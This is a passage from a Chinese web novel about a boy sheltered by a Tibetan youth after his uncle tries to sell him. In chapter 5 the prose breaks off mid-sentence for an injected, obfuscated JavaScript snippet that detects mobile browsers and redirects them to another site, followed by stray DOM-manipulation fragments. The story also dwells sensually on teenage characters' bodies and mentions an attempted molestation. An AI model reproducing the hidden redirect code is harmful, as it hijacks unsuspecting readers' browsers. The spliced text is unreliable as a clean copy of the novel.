罗布占堆张了张嘴巴,能猜测到或许发生了什么狗血事情,沈军安在附近可不是厚道善良的名声。 罗布占堆给沈泱贴了一个创可贴,没有任何好看的花纹,但白白的,很干净,沈泱还算满意,又给沈泱拿了一瓶碘伏和一盒棉签。 花了江措八块钱。 收到江措递过来皱巴巴的纸币的时候,罗布占堆想到了一个时髦的词,过度医疗,啧啧,他这辈子竟然也能有过度医疗的时候! “可以自己走了吗?”江措问从简陋木椅上站起来的沈泱。 沈泱感受了一番后讲道:“不是很疼了。” 两个人离开罗布占堆的诊所。 刚走出诊所,冷空气迎面而来,穿着没加绒的长袖睡衣睡裤的沈泱打了个哆嗦。 江措把自己的外套脱下来,递给他,“穿上。” 因为还不够冷,所以沈泱没有立刻说好,接过江措的外套后先动了动鼻翼,没有嗅到难闻的体味或者狐臭味,只有淡淡的香皂和月光的味道。 沈泱说了谢谢,两只细长手臂伸进外套的袖子里,悉悉索索地穿好衣服。 对于江措来说有点小的外套对于沈泱来说有些宽大,把他的整个身体还有半个饱满的屁股都裹在了里面,袖口也很长,藏住了他的手。 冷月挂在漆黑的天空上,月色皎白,朦白色的光洒在高原蜿蜒曲折的泥巴路上。 沈泱走在江措的身旁,问道:“我们现在去哪里呀?” “回我家睡觉。” 沈泱嗯了一声。 他没有走过太多泥巴小路,脚下不知道踩到了什么硬物,身体不由得一趔趄,幸好江措眼疾手快地握住他的手腕,才避免了沈泱跌倒,回到诊所的糟糕未来。 是隔着两层布料抓住的沈泱的手腕,但江措的大手能把他的整个手腕圈住,还有余量,运动外套虽然可以挡寒,但布料冷硬,感受不到沈泱手腕的温度。 江措收回手,还没有来得及问沈泱没事吧,沈泱先闷闷不乐地道,“江措,我们不可以找人借一个手电筒吗?我有点看不清路!” “刚刚差点我就摔到地里去了!!” 说完沈泱眼神回头看,罗布占堆家的灯光已经熄灭了,沈泱也不想走回头路,他看到不远处的前方似乎有一座房子矗立在月影里,兴致勃勃地提出建议,“我们可以去他们那里借。” 江措不是头一次见识到沈泱的理所当然了,问他喝水时很理所当然,吃他的食物的时候也没有很客气,现在去陌生的人家去借手电筒也很理所当然,还是在深更半夜,万籁俱寂,对方早就休息的时候打扰他。 明明自己的亲大伯养了他不过短短七天,就想把他卖给别人,但好像没有给他留下什么心理阴影,可他似乎也没有生出太反感的情绪。 就像是娇贵漂亮的波斯猫,就算落魄了,也不会变得敏感自卑胆怯,娇贵和美丽是他们与生育来的东西,就仿佛所有的人都应该好好地照顾它,如果对方做不到,是无能的人的问题,而不是波斯猫的问题。 “太晚了。”江措垂着头,哑声道。 没等沈泱对他这句话给出反应,结实高大的少年往前走了一步,膝盖一屈,蹲下,宽阔结实的脊背毫无遮挡地展露在沈延的眼底。 不远处响起几声狗吠,江措低沉磁性的声音在沈泱的身前响起,“我背你。” 沈泱想起是刚才是江措抱着自己去偏僻山村里的诊所的,一路上都走得很稳,没有任何的趔趄和摔跤。 他没有犹豫太久,尽管他五岁之后就没有被人抱过了。 江措顿珠是很大的一个人,蹲在他身前,也是不容忽视的硕大一块,但沈泱现在站着,终于比他高一点。 他抿了下在月光下,湿红的不是很明显的丰润嘴唇,伸出两条长长的胳膊,不算很娴熟地从江措的肩膀上伸出去,在他前颈处环绕。 身体隔着几层布料,贴着他厚实的脊背。 “好了吗?”江措问。 “好了。” 江措伸出自己两条肌肉扎实的胳膊,往后估计到沈泱屁股的位置,两只常年劳作,带一层厚茧的粗糙大手微微合拢,托住了沈泱饱满柔软的屁股。 沈泱的身体不由得绷紧了一下,因为他这一瞬间的失神,所以没注意到江措手掌托住他的屁股后,呼吸猛然乱了两分。 4. 第 4 章 二十多分钟后,沈泱来到了江措家,江措家的灯泡瓦数很大,居然比白天还亮。 沈泱裹着江措的外套,走进他的卧室。 江措的卧室也是泥土房,面积不大,十平左右。 对着门口的墙边放着一张一米宽一点单人床。 挨着小床的北侧墙壁,是老式的木质衣柜,沈泱在贫苦年代剧里看到过这样的破烂款式,铁制把手上面的漆掉光了不说,有一侧的柜门似乎没办法关紧。 衣柜旁边是一张老式的漆红桌子,红漆掉得厉害,一个铁圆盒里放着几支中性笔,旁边是垒得整整齐齐的高中教材和卷子。 桌面没灰,衣柜干净,地面也没有任何白色垃圾,只是因为是土墙泥巴地显得不那么干净,但不是真的不干净,沈泱勉勉强强可以接受。 还没等沈泱发出声音,江措离开了房间,过了一会儿,他抱了几个木板进来。 粗大的手指拿着铁锤和钉子,沈泱站在门口,高大的少年在房间的另一个角落里敲敲打打,不多时,几块木板又变成了一个单人床的模样。 他把这个简易小床挪到另外一侧墙面,对沈泱说:“你睡那张床。” 他抬了抬下颌,指的是房间里原来那张属于江措的单人床。 沈泱的眼神再次落在那张靠墙的单人小床上。 小床简陋,四件套也是不成套的,床单灰色,被套是洗掉色的嫩粉色,沈泱有很多点嫌弃。 江措说:“那张床比我刚拼的要舒服。” 沈泱目光落在江措刚刚拼出来的木板床上,犹豫了一会儿,说道:“那你把床单被套给我换一换,我不要睡你睡过的被窝。” 沈泱其实也没那么挑剔,别人的被窝睡过他就不能睡了。 毕竟在蓉城的时候,他就睡过好几次穆宁然的被窝,但穆宁然和江措不一样。 穆宁然是沈泱最好的朋友,他们认识十几年了。 对待熟悉的人,沈泱没有强烈的距离感,虽然也会娇气任性自我,但也会撒娇和说甜言蜜语。 但沈泱和江措又不熟。 所以沈泱还是会嫌弃过江措睡过的床,虽然看起来江措还挺爱干净的,衣服没有任何异味,房间里没有任何垃圾和灰尘,但江措……喝过他的泡脚水! 江措目光在沈泱身上扫过,长腿动了动。 一双宽大的手掌打开脱漆掉色的老式衣柜,踮起脚,抽出里面洗过的天蓝色的旧床单和宝蓝色带玫瑰图案的被套。 眼尖的沈泱看见衣柜里竟然还有没用的被芯,沈泱赶紧说:“你干脆把那张床上的棉被一起抱过去吧,给我套新的棉被。” 江措没应声,把衣柜里的那床棉被抱了出来,说道,“你确定要睡这个,这个好几个月都没晒了,而且比我床上原来的要旧。” 江措利落地拆掉床上的被套。 一床棉被露出还算棉白的被芯,另外一床棉被放在江措刚拼出来的单人床上,颜色泛黄,看起来似乎硬邦邦的。 沈泱眉头拧了拧:“你家就没有好一点的棉被了吗?” “没有。” 沈泱挠了挠脸颊,无可奈何地叹了口气。 江措三两下换好了床单被套,又铺好了另外一张床。 习惯了睡在宽敞明亮大房间的小少爷人生第一次,睡在了昏暗逼仄的泥土房里。 并没有彻夜难眠,或许是今晚太累了,也或许是别的原因,沈泱竟然很快就睡着了,快的他自己都有些意外。 沈泱醒了。 眼睛睁开,看见深黑色的瓦片和斑驳横梁的时候,沈泱反应了片刻,才意识到这是江措顿珠的卧室。 他伸手揉了揉后脖颈,掀开被子下床,久瑭县的清晨有点冷,他摸过昨天晚上穿过的外套,裹住自己,起床。 推开门,他闻到一股浓郁的香气,正房中间的火塘上,霸道的香气从铁锅里冒出来。 “江措,好香啊,你在做什么?”沈泱问从门外进来的江措。 “炖鸡汤。”江措走进来,目光在刚醒不久的沈泱身上掠过,蹲下身,掀开锅盖,一股比刚才更加浓郁的香气席卷沈泱的鼻端。 沈泱昨天上午在江措家饱餐一顿,中午吃了几块牛肉干,晚上因为他们吃饭的时候唾沫横飞,沈泱端紧自己的碗,就吃了几口白米饭。 现在他饿了。 江措扫他一眼,说:“再煮二十分钟就能吃了。” “那我先洗漱。”沈泱抬起头四处张望,“你家的洗漱间在哪里?” “洗漱间?”江措撩了一下眼皮,“我家没那种东西。” “那你在哪里洗脸刷牙?有干净的毛巾吗?”沈泱眉头皱了起来。 正房角落就有一个大水桶,旁边有一个木质的三层洗脸架,第一层放着一个大红色的胶盆,是江措的洗脸盆,灰扑扑的洗脸架上面挂着两根毛巾。 其中一根毛巾湿漉漉,不久前应该被人用过,另外一根也不是崭新的,薄的接近纸片了,中间甚至还破了一个洞。 “没有新的毛巾了吗?” “没有。” 沈泱沉默良久后,问道,“你家有纸巾吗?我可以清水洗脸,用纸巾擦擦。” 江措家有纸巾,一种白色的颗粒感明显的草纸,两块钱一刀,江措可以擦几个月的屁股。 沈泱细嫩的手指摸上去,感受到了一种强烈的粗糙感。 “你家没有别的纸了吗?” 江措盯着他过于娇嫩的皮肤看了一会儿,撂下一句等我一会儿,离开了房子。 大概十几分钟后,他捏着一包餐巾纸回来了。 沈泱抽出一张纸,比草纸柔软很多,达不到沈泱以前用的标准,凑合着用。 他动作生疏地把胶盆涮洗了两遍,又舀了两瓢水,用清水洗干净脸,沈泱仰着头眯着眼,用纸巾擦干。 江措家没有多余的牙刷,沈泱不能不刷牙,他用手指头挤了点牙膏,搓了搓他洁白整齐的牙齿。 一番耗时良久的洗漱结束后,江措的米饭和鸡汤都煮熟了。 沈泱捏着两张纸巾,擦了擦脸因为脱漆斑驳显得不太干净的小木凳,坐在了火塘前面。 橘红的火苗映照着他白嫩干净的脸庞,江措舀了满满一大碗米饭,递给他。 沈泱吃到了来到回宁村后,最美味满足的一顿饭。 江措炖了一整只鸡,鸡是今天早上去村民家买的,对方给他挑了又肥又大的一只,江措放了晒干的蘑菇,炖出满满的一大锅。 沈泱胃口不大,一大碗米饭没吃完,就饱了。 一大锅鸡自然没有吃完。 江措收拾好碗筷,把没吃完的鸡汤倒进搪瓷盆里,还没有冷却,他暂时就没盖盖子,又收拾干净火塘。 擦干净手,江措问了一句,“你小腿的伤口怎么样了?” 坐在小板凳上的沈泱闻言掀开裤腿,白的和面粉一样的小腿上,创可贴明显地贴在上面,沈泱感受了一下,“还好。” 话音刚落,门外忽然传来嘈杂的脚步声。 沈军安带着沈家人和几个相熟的村民闯进江措破败的院子里,厉声道:“江措,快把我侄子还回来!” 沈军平声势浩大,见有热闹看的村民跟了上来,只是最近是采摘松茸的季节,大部分壮劳力都上山了,跟在他身后,甩着长长衣袖的都是妇女和老人。 沈军安不要脸地对村民说:“各位叔姨兄嫂,江措昨天晚上竟然闯入我家,把我的侄子给抢走……” “什么抢走了,分明就是你要把我卖给精神病换钱,是江措救了我!”沈泱站在泥土夯出的屋檐下,绷着雪白的小脸,大声冲沈军安嚷道。 沈安讲汉语,和蓉城相比,回宁村当之无愧的偏僻,但汉化已经很明显了,中年人和老人尽管不会讲汉语,一般都能够听懂。 沈军安蹙眉,“什么要把你卖人,你别听江措的怂恿,我是你亲大伯,我和你爹一母同胞,难道我还会害你不成吗?” “那你对着你们的神山发誓,你没有想要把我卖给精神病当老公!如果有,神山一辈子不会保护你,你出门就被牦牛撞死,喝水就被水呛死!” “沈泱,不要闹小孩脾气了。”沈军安见村民们压低声音,用藏语议论纷纷,甚至大部分竟然相信沈泱说的是真的,他呵斥道 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沈家发感受到很多道目光都看向了自己,其中有一道更是充满了森寒的危险,像高山里的野熊,露出了冰冷尖锐的獠牙,即将一口嚼碎了他。 沈家发眼皮跳了跳,赶紧解释,“我什么时候想要脱你裤子了?那是你睡糊涂了,我看你被子没盖好,给你盖被子而已!” “你昨晚明明都承认你想脱我裤子了!”沈泱横眉怒目道。 沈泱眼睛是杏眼,眼角和眼尾的弧度都不凌厉,鼻头饱满圆滚,嘴巴小巧但不薄,唇瓣微丰,自然状态下甚至有微微的嘟起。 他的好看是一种和他的性格孑然不同的好看,攻击性太弱了,就算板着脸,也不会给人太多的危险感。 刚刚吃饱饭,沈泱气色白里透红,现在生气,雪白的脸颊里更是透出诱人的粉。 盯着这样的沈泱,沈家发心跳忽然一快。 没等他再为昨天晚上的行为辩解什么,江措忽然动了。 他走了两步,拿起放下屋檐下的木制小板凳,粗糙的大手捏住小板凳的两侧,手臂似乎没有很强烈的发力感,木制的结实的小板凳忽然哐当两声,直接碎成两半。 坏掉的板凳直直朝沈家人的身前砸过去,沈家人仓皇地朝后退了两步。 江措薄唇微动:“滚。” 沈军安眉心直跳,犹豫要不要直接抢人,他的大儿子沈家强踟蹰片刻,低声道:“爸,江措摆明了不同意我们带走沈泱,我们还是先回去吧。” 沈军安毛孔粗大的鼻翼一起一伏,他深吸了口气,和眉眼冷厉的江措对视片刻后,沉着一张黝黑的老脸转身离开了。 沈家人走了,看热闹的村民想起江措那个无恶不作的爹,又想起德吉前天说,她问江措借钱,江措竟然要拿刀杀了她,众人不敢多留,做鸟兽状散开了。 大家都离开后,江措关上木门,把坏掉的小板凳拿进正房的火塘前,打算下次做饭时当柴火烧掉。 沈泱跟在江措身后,有些佩服地道:“江措,你力气竟然这么大啊?竟然能空手掰坏那么厚实的凳子。” “它本来就坏了,随便来一个人,都能掰断它。”江措说。 “啊?”沈泱瞪大了眼睛。 江措把掰成两截的木凳子给他看,小木凳年代久远,已经晒得干干的了,就算今天没有突逢噩耗,距离它寿终正寝的那一天也不远了。 “这样啊。”沈泱又忽然感慨道,“那你也很聪明啦,他们以为你掰断的是好凳子,狠狠地威慑了他们,你看,沈牛粪不就离开了吗?” 沈泱兴奋地说着,又在火塘旁的凳子上坐下,江措坐在另外一个凳子上,他看了沈泱两眼,忽然道,“你接下来打算怎么办?” 后脖颈有点不舒服,沈泱伸手挠了两下,听到这句话,他呆滞了有好几秒。 他接下来应该怎么办? 沈泱放下手,舔了舔他的嘴唇,阳光从破旧干净的木窗里投射进来,昏暗的土坯房里,一束明亮的光恰好圈在了沈泱的身上,他整个人都是亮的,除此之外,其他的一切都是灰败的、腐朽的、孤僻的。 沈言用认识江措以来,最小的声音和他讲话,“以后我能住在你家吗?” 5. 第 5 章 江措虽然善良,愿意对昨天晚上处于危险境地的沈泱仗义相助,但江措到目前为止,也没有表露出要留下沈泱的意思。 像是害怕他拒绝,沈泱赶紧补充道,“应该也不会住很久,我舅舅在德国,只是他的工作单位很复杂,我最近联系不到他,等他知道我在久塘,肯定会来接我的。” “我舅舅很有钱,到时候我会让他给你很多钱的。” “你还有一个有钱的舅舅?”江措皱了下眉。 “对啊,我舅舅对我很好的,他不是沈牛粪那种人,他以前不需要我爸爸照拂他,而且他还很讨厌我爸爸,所以等我舅舅回来了,我会报答你的。” 江措没有很快接话,过了一会儿才说,“如果你有一个有钱的舅舅,沈军安为什么现在就卖了你换钱?” “因为他笨。”沈泱说,“而且我舅舅在国外,他也没见过他。” “可以吗?江措?我可以住在你家吗?”沈言秀白的双手紧紧地握在一起,脸朝向江措,很近的距离,朝他讲道,“再说了,你一个人住,很孤单的吧,我可以陪你讲话和聊天啊,一个人吃饭也很寂寞吧,两个人的话就不会这样的,而且,而且我们下个月就是同学了,同学之间不应该……” “可以。”江措打断了沈泱因为想他留下他,喋喋不休的很多话。 沈泱愣了一下,随后他弯了弯眼睛。 沈泱的性格不算很好,自我,娇气,但他的脸是一张没有攻击性的脸,眼睛圆圆的,鼻头也圆圆的,笑得很明显的时候,右脸居然还会出现一个酒窝。 沈泱又感觉到渴了,他仰着头对江措说道,“我渴了,江措。” 明明他现在是寄人篱下,如果没有江措的好心收留,村子里不会有其他的人愿意发出这样的善心,就算有人愿意收留长得很漂亮的沈泱,也应该是抱着比江措还龌龊一百倍的念头,更大的可能是被沈军安抢走,然后被转卖给其他人。 现在在这间沈泱不太喜欢的,昏暗破败的土坯房里,他明明应该讨好江措,他却还是习惯性的吩咐江措伺候他。 但江措也只是多看了沈泱两眼,紧接着,站了起来,用深麦色的,粗糙的大手给沈泱撞了一杯水。 江措家喝水的杯子太大了,沈泱喝了几口就喝不下了。 江措盖上杯盖,放到一旁的桌子上。 这时候,沈泱站了起来,“走吧,我们现在去沈军安家。” “怎么又要去他家?”江措快速地转过身,他心里觉得沈泱不可能和他重修于好,但江措和沈泱不算很多的相处里摸清了他一些脾气。 沈泱单纯又天真,不懂人心的险恶和肮脏,所以才会觉得相处不够二十四个小时的,名声也不是很好的江措家是一个比大伯家更好的去处。 他太小了,所以喜欢和厌恶都显得很轻而易举,沈军安就算有种种不是,有一句话没说错,他是这里沈泱血缘最亲近的人。 不知道为什么,一想到沈泱有可能又想回到沈家,一股强烈的不快充斥着心脏。 江措是一个对自己在乎的东西控制欲和占有欲都极强的人,厌恶既定的安排被打断,会令他觉得很暴躁。 沈泱明明已经决定了住在他家了,他刚刚已经在思索等会儿上街为他购置一些什么东西了,一想到这样的计划被打乱,不爽,就是纯粹的强烈的不爽。 “我要去拿手机和行李啊,我才不想把我的东西白送给他们家呢!”沈泱说道。 所有的不爽乍然消失。 江措低着头,垂着眼,喑哑地嗯了一声,又变成了那头家养的,温顺的、老实可靠的牦牛。 沈军安在院子里抽旱烟,哐当一声,半掩的院门被人重重地推开。 沈泱出现在院门口。 沈军安抬了抬眉,把烟头在地上抖了两抖,笑了起来,“沈泱,你后悔了?江措和你非亲非故的,还是你大……” 沈泱仰着头,高高在上地打断他:“谁后悔了?我是来拿我的东西的。” 话说了一半,沈泱瞧见坐在檐下沈家旺拿的那个手机非常面熟,沈泱摆出凶神恶煞的姿态,快步走过去,一把将自己的手机抢回来,塞进兜里。 紧接着,他带着江措走进他大伯家的客厅,径直上了二楼。 房门推开,躺在床上的沈家发猛然坐了起来,“沈泱,你……” 沈泱绷着小脸,都不搭理他,冷着脸找到自己放在墙角的白色行李箱,摊开,又打开衣柜,把属于自己的衣服快速地塞进去。 拉好行李箱,沈泱确定没有遗落的东西后,走出房间。 下楼的时候,不知道想到了什么,沈泱把行李箱递给身旁的江措,打开电视机旁边的储物柜,踮起脚,土匪打劫一样抱走一提雪白柔软的抽纸,蹬蹬蹬地冲下楼。 沈军安深吸了两口旱烟,“沈泱,你真以为江措是个好东西吗?他以前都能把他亲爹按在地上往死里揍!” “那是他爹活该!” 沈军安咬牙,吩咐自己的几个儿子,“把沈泱给我拦住。” 江措扭过头,盯着沈军安身旁的沈家强沈家发沈家旺三兄弟。 沈家旺今年才十四岁,年龄小,被江措一盯,立刻退后了一步,他可还记得江措比他还小的时候,就把他爹按在地上揍的可怕画面。 那个时候他爹还叮嘱他,别和江措太近了,这人是个疯子。 沈家强往前走了一步,余光扫过两个弟弟,都没往前冲,迈出去的步子又收了回来。 沈家发盯着不远处沈言那张漂亮紧绷的脸,咬了咬牙,朝他走了两步。 江措把手里的行李箱塞给沈泱,大步流星朝他走了过来。 沈家发比江措大一岁,触及江措没有情绪的眼神,沈家发下意识想跑,可惜来不及了。 江措一拳打在了沈家发的肚子上,沈家发疼还没有叫出来,江措已经用力地捏住他的胳膊,粗暴地往后一拧。 沈家发眼泪嗖地一下子涌了出来,这时候,江措压低的,阴沉的嗓音传进他的耳膜里,“以后你要是敢出现在沈泱的眼前,我看见一次,揍你一顿。” 甩开沈家发,江措在沈家发眼里,高大而充满危险的身躯朝门外走去。 沈泱瞥见沈军安院子里结实的小木凳,想到他们逼迫江措弄坏了他的凳子。 沈泱鼻腔里发出一声重重的哼,行李箱递给江措,走过去,抢走沈军安院子里的小凳子。 他胸口抱着沈军安家里的一大袋抽纸,白皙的手指捏着赔偿所得的小凳子,在沈家人咬牙切齿的目光中,和江措一起大摇大摆地走出了沈军安家。 “板凳给我拿。”江措说。 沈泱把木制的,有点重量的小板凳递给江措。 两只手环抱着纸巾,走在田埂上。 江措突然道:“害怕吗?” “?” “我刚刚打沈家发很……凶狠。” “那是他该打。”沈泱神清气爽地说,“昨晚上我醒来,发现他想脱我裤子的时候就想打他,就像你刚刚那样恶狠狠地打他,揍疼他,看他以后还敢不敢做这种事。” 刚刚的两下有点轻了。 什么时候找机会再揍沈家发一顿好了。 江措心里计划着,带着沈泱回到了他家。 江措从隔壁屋里拿出了一个很大的背篓,说他要上街去买一些东西,问沈泱要不要和他一起去。 沈泱迟疑了一下,摇头,“好远啊,我不想去。” 沈泱说完,又问,“江措,你要去街上买什么,你要给我新买一个四件套!” 他转过身,身上还穿着江措的黑色运动外套,细长的手指将后领往下拽了拽,“你看我的后颈,是不是有点红了,你的床单被套太差了,我昨晚都没睡好!!” 昨晚没到没睡好的程度,因为今天早上天亮的时候,有人站在床头盯着他看了不算短的一段时间,沈泱嘴巴时不时动一动,睡得又香又沉,什么都没有发现。 但偶尔是会觉得不太舒服,洗过很多次的廉价布料明明足够柔软了,但娇嫩的肌肤碰触到黑心低廉的化纤布料还是会不舒服。 沈泱后颈原来也很白,和发酵的暄白的面团一般,只是上面有点点斑斑样式的红痕。 很碍眼。 “怎么不早点说?”江措眉蹙了起来。 “看腿伤的时候我就想说了,但沈牛粪一家不是来了吗?”沈泱松开手,转过来面对江措,讲自己的要求,“你要给我新买一个四件套,还有,我还需要牙刷牙杯牙膏毛巾,你家也没有洗发膏和沐浴乳。” “牙刷我要软毛的,最软的那种,牙膏不要黑人的,那个包装太丑了,我不喜欢,沐浴乳可以买水果香的,洗发水给我买希思黎的,我以前一直都用的这个牌子。” “我还想吃香蕉了,你再给我买一串香蕉回来,对了,我还没有专用的水杯。” “你家没有洗脸池,那就给我买两个专用的盆子,我不喜欢和别人用同一个盆子,哦,我还差一个洗澡盆。” 一口气说了这么多话,沈泱觉得自己有点辛苦了,又看了看江措什么都没有的家,已经很辛苦的沈泱思索自己有没有遗忘的东西。 “暂时就给我买这些吧。”沈泱很好讲话地讲道。 江措:“那我走了。” 沈泱嗯嗯了两声。 从回宁村到云平镇,是下山路,正常的成年人要走五十分钟左右,江措脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976512|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程快,半个多小时就走到了镇子上。 镇子上要热闹很多,大部分人穿着轻便的汉服,还有一些人穿着民族服装,在街上走来走去。 江措经常来镇子上,他买生活用品一般在镇尾的菜市场,那边的东西便宜。 今天没去菜市场,江措找到了镇子上卖床上用品的商店。 背篓放在外面,他走进瓷砖雪白的商店。 左右两张展示的小床上各铺着漂亮崭新的四件套。 旁边明码标价,三百二。 江措家里三床被子,单价不超过这玩意儿标价的十分之一。 粗糙的大手摸上去,似乎和他睡的也没有什么不同。 但肯定不是东西的问题,是他手上的茧太厚了。 “你要买四件套吗?自己用吗?”在旁边和人闲聊的店主发现有人进来了,忙回到自己的店里招待顾客。 江措摇头,“不是,是给我……家里人买的。” “哪种四件套是最好的?用起来最舒服的?”江措问。 女人闻言,从货架上抽出一个一看就很厚实的塑料袋包装的四件套,“这个是我们店里最舒服的,用的是新疆棉花纺出来的,工艺也是最先进的,用上十年,都不会变形。” 江措的第一想法是,沈泱不是一个四件套会用十年的人。 江措用手捏了捏,摸起来似乎很柔软细腻,他粗糙的手指落上去,似乎都会把它给弄破了。 “多少钱一套?” “五百八。”女店主说,“我在这条街上开店十几年了,肯定不会坑你,你看这个镇子上别的家纺店都是过两年就换老板,我一直在这儿,贵是贵了点,不过东西质量在那里。” 女人又仔仔细细地打量了江措一番,男孩很高,但年龄看起来不大,身上的黑T洗得变形,裤腿还短了一截,露出凌厉的脚踝,脚上的黄胶鞋也不是什么好东西,菜市场十五块能买到一双。 女人说:“要不看看别的吧?” 女人又拿出一套四件套,“这个也不错,也是纯棉的,现在还打折,一米八的两百七,一米五的便宜三十块。” 江措伸手摸了摸,触感对他来说没有明显的不同,但用眼睛看,另外那一套的确是要好一些。 给自己买的最贵的床单是十七块钱的江措没迟疑,对女店主说,“我要刚才那套。” 女人愣了一下,赶紧说好。 江措又在这家店里挑了两床棉被,一床给沈泱垫在身下,一床是用来盖的,也是店里最好的东西,要价九百。 结账的时候,江措问店主,“买了这么多东西,能便宜点吧?” 店主说:“那当然要给你算便宜一点,我给你打九折,以后来光顾我的生意啊,小伙子。” 江措心算出价格后,掏出裤兜里的钞票,一大把,有零有整,按照面额大小整齐有序地排列,从一百块到一毛钱,应有尽有。 江措给出一千三百三十二,老板抹了零头,只收一千三,还大方地送给江措一个枕芯。 一千三给出去,江措手里厚厚的一把钱瘪了一大半,他眼睛里也没有流露出任何心疼,好像一千三对于衣服只买二十块钱的江措来说,是微不足道的一笔数字。 两床被子几乎塞满了江措的背篓,江措背着东西离开后,在门口看了半天的隔壁文具店老板咋舌,“那个小伙子穿的破破烂烂,没想到竟然这么舍得!看不出来啊!” 女店主感慨:“说是给家里人买的,估计是刚结婚不久的老婆,不然怎么会那么舍得。” 买完应该是最昂贵的东西,江措去超市里买沈泱要的日用品。 江措买东西从来都是挑最便宜的,牙刷一块钱一根,是有点硬,但可以用。 他走进超市,盯着货架上的每根牙刷比较了半天,挑了一根售价十一,有写极软极柔字样的奶白色手柄牙刷。 毛巾也挑最贵的最厚的买。 脸盆和大一点的洗澡盆也买最贵的最厚的。 沐浴乳没有指定的牌子,他挑了一个桃香的,也很贵。 只是这家超市没有他说的希思黎洗发水。 江措买了能买到的东西,离开了超市。 镇子上的超市都很小,放在蓉城,就是沈泱家门口小卖部的大小,江措找遍了镇子上的超市,都没有希思黎。 他问老板,老板说:“希思黎是什么?买飘柔吧,海飞丝和清扬也不错啦。” 江措最后又跑去理发店里问了一圈,理发店的老板了解的多一点,“就是那个两百毫升几百块的希思黎?没有,没有,我这里没有那骗人的玩意儿。” 江措最后给沈泱买了清扬,因为它在超市里卖的贵一点。 6. 第 6 章 最后去蔬果店给沈泱买了香蕉。 回村之前,江措又去菜市场买了一些蔬菜,七月份的久瑭,蔬菜的品种会比冬天多一些。 买完东西,江措没有多留一分钟,转身上山。 他背篓里的东西太多了,不占地方的放在下面,两床因为昂贵所以包装和旧背篓格格不入的棉被放在最上面,超市的老板送了两根不要的绳子给他,一前一后地从背篓的空隙里穿过去,压在棉被上,防止东西落下去。 两只手也没空着,拎着沈泱要的几个盆子和香蕉。 江措从来没买过水果,只吃过山林里长的野生梨和苹果,刚刚准备往背篓里塞香蕉的时候,老板提醒他,“这玩意容易硌坏,不能和硬物放在一起。” 江措干脆拎在手上了。 “江措,你回来了。”在门口玩俄罗斯方块的沈泱收起手机,快步朝他走过去,亮晶晶的眼睛朝江措身后塞得满满当当的背篓看去,“你买了好多东西呀。” 江措嗯了一声。 现在是太阳最好的时候,江措麻利地把两根晾衣服的麻绳擦干净,新买的柔软棉被从包装里拆出来,抖开晒在上面,又拿了一个大胶盆,清洗新买的四件套。 他家的电器只有手电筒。 洗衣机和脱水机统统没有。 力气大,洗完的床单收紧用力一捏,和脱水机脱出来的也差不了多少。 趁着太阳大,赶紧晾晒,晚上沈泱才能用。 沈泱剥了一根香蕉,站在江措旁边点评,“你怎么买这个藏蓝色啊,好丑啊。” 沈泱低头咬了一口香蕉,眉头蹙了蹙,不信邪地又咬了一口,语气嫌弃,“江措,你买的这是什么香蕉啊,好难吃,都不香!” 或许只是这一根难吃,沈泱重新掰了一根香蕉,剥皮后,嫩黄色的果肉含进嘴巴里。 不好吃。 沈泱不想吃了。 他拿着两根没吃完的香蕉,准备扔到门口的搪瓷盆里。 搪瓷盆上面印着图案的隐约可以看出是小燕子,差不多可以猜到它的岁数,不知道它在江措家承担过哪些工作,现在它作为江措家的垃圾桶存在。 “给我吧。”江措伸出粗糙黝黑的大手。 沈泱以为他要帮他扔,不客气地把香蕉递给他。 江措接过香蕉,低头咬了一口,软绵绵的嫩滑滋味席卷口腔,他没觉得不好吃,味道还不错。 沈泱震惊了一下,小声:“这是我吃剩下的香蕉。” 江措咽下香蕉果肉,抬了抬眼皮,“我看见了。” 沈泱心里忽然生出一种说不出的滋味来,他和关系好的朋友也曾分享过同一包零食,但自己吃的不要的水果或者食物从来没有人吃过。 江措怎么这么不讲究啊? 转念一想,他在潭水边泡脚的时候,江措都能喝旁边的潭水,可能藏族汉子就是这么不讲究吧。 晚上,沈泱折腾着要洗澡,江措心里觉得他没必要洗,沈泱一天都没怎么动过,也没出汗。 但沈泱提出洗澡的要求后,江措还是任劳任怨地给他烧了洗澡水。 江措洗澡就在院子里,不用烧热水,端两盆冷水,院门一关,脱了衣服站在院子里就开始洗。 沈泱才不愿意站在院子里洗。 江措把水房收拾干净,装了两盆热水,让他站在给他买的大澡盆里洗。 沈泱洗完澡出来,泥巴地上全是水,水盆里也全是水,江措没说沈泱一句,只是像牛圈里最踏实肯干,无怨无悔的老黄牛,应该不是老黄牛,他还没成年,小黄牛一样勤劳地收拾干净房间。 打了两盆冷水,江措脱掉衣服,露出一身悍然扎实的肌肉,银灰色的月光下,站在院子里冲澡。 大手捏着破了个洞的毛巾,擦过脊背时,肌肉结结实实地隆起,轮廓硬实地如夯过的土。 洗完澡,江措顺便把他和沈泱换下来的衣服搓干净,怕下雨,挂在廊下吹着。 江措回到房间。 沈泱缩在被窝里玩手机,这边昼夜温差大,中午估计得上三十度了,晚上只有十度左右。 网不好,沈泱只能玩手机上不用联网的小游戏,食指利落地在手机上滑来滑去,应该玩得很开心,时不时地还笑一下,不算深的酒窝露出来。 江措站在门口看了他好一会儿。 沈泱放下了手机。 江措了走过去。 沈泱的单人床和江措的床隔了接近一米的距离。 昨晚上,家里多余的被子不够,江措昨晚直接在木板上铺了床单,凑合了一夜。 今晚铺的是沈泱昨晚睡过的床单被褥,人躺进去,他鼻尖嗅到一股淡淡的香味,江措没有见多识广,闻不出是什么味道,就觉得香,香的人有点心烦意乱。 “沈泱,没碰过的饭,刻意给你留的饭不算剩饭吧?”江措侧个身,眼神落在不远处的沈泱身上。 沈泱思索了一下,“那可以不算。” 今天下午,江措煮的午饭是早上剩下的半锅鸡汤。 沈泱接过江措递来的饭碗,嘴巴噘得高高的,“中午就吃这个吗?我是不吃剩饭的。” 